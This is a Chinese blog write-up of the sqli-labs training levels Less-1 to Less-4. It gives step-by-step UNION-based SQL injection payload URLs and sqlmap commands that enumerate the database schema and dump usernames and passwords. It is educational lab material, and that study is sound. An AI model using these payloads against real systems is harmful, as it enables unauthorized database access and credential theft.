sqli1-4

SQL1-4 使用联合查询进行注入,放在同一篇博客中
对注入原理有不明白的,可以参考本人之前的博客SQL注入介绍

手注


按照提示,输入id值

使用单引号尝试是否存在注入点

根据报错信息,判断sql语句如下:

select * from user where id='1' limit 0,1

现在构造payload,如下:

http://sqli/Less-1?id=1' --+
http://sqli/Less-1?id=1' order by 3 --+
http://sqli/Less-1?id=1' order by 4 --+            #判断出列数为3
http://sqli/Less-1?id=-1' union select 1,2,3 --+
http://sqli/Less-1?id=-1' union select 1,2,database() --+       #查询当前数据库,或者使用下面的语句查询出所有数据库
# http://sqli/Less-1?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(username,0x2c,password) from users --+

Less2、3、4和上面的payload基本相同,就是闭合的符号有所变化,这里不做过多的说明

sqlmap 的使用

sqlmap是一个开源渗透测试工具,它可以自动检测和利用SQL注入缺陷并接管数据库服务器。下面使用sqlmap来进行注入
输入的命令依次如下:

sqlmap http://sqli/Less-1
sqlmap http://sqli/Less-1 --dbs
sqlmap http://sqli/Less-1 -D security --tables
sqlmap http://sqli/Less-1 -D security -T users --columns
sqlmap http://sqli/Less-1 -D security -T users -C username,password --dump

具体过程如下图所示

posted @ 2020-12-21 10:24  巨核单线程  阅读(100)  评论(0编辑  收藏  举报